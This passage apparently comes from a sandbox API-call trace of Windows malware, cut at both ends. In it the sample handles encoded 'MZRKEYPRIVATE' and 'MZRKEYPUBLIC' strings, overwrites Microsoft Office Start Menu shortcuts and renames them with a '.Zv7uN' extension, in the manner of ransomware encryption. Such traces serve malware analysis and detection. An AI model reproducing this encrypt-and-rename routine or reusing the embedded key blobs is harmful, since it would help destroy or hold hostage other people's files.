oRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0133.634] GetCurrentThreadId () returned 0xa30 [0133.634] GetCurrentThreadId () returned 0xa30 [0133.634] GetCurrentThreadId () returned 0xa30 [0133.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0133.635] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0133.635] GetCurrentThreadId () returned 0xa30 [0133.635] GetCurrentThreadId () returned 0xa30 [0133.635] GetCurrentThreadId () returned 0xa30 [0133.635] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Excel 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft excel 2010.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.635] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0133.635] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.635] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0xb87 [0133.636] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.636] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0xb87, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f3d4*=0xb87, lpOverlapped=0x0) returned 1 [0133.651] CloseHandle (hObject=0x1e8) returned 1 [0133.652] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Excel 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft excel 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.654] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0xb87, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f3e0*=0xb87, lpOverlapped=0x0) returned 1 [0133.656] CloseHandle (hObject=0x1e8) returned 1 [0133.656] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Excel 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft excel 2010.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Excel 2010.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft excel 2010.lnk.zv7un")) returned 1 [0133.657] GetCurrentThreadId () returned 0xa30 [0133.657] GetCurrentThreadId () returned 0xa30 [0133.657] GetCurrentThreadId () returned 0xa30 [0133.657] GetCurrentThreadId () returned 0xa30 [0133.658] GetCurrentThreadId () returned 0xa30 [0133.658] GetCurrentThreadId () returned 0xa30 [0133.658] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7805e570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7805e570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7805e570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbe2, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft InfoPath Designer 2010.lnk", cAlternateFileName="MIA4FF~1.LNK")) returned 1 [0133.658] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.658] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.658] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Designer 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft infopath designer 2010.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7805e570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7805e570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7805e570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbe2)) returned 1 [0133.658] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Designer 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft infopath designer 2010.lnk")) returned 0x20 [0133.659] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Designer 2010.lnk", dwFileAttributes=0x80) returned 1 [0133.660] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0133.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCj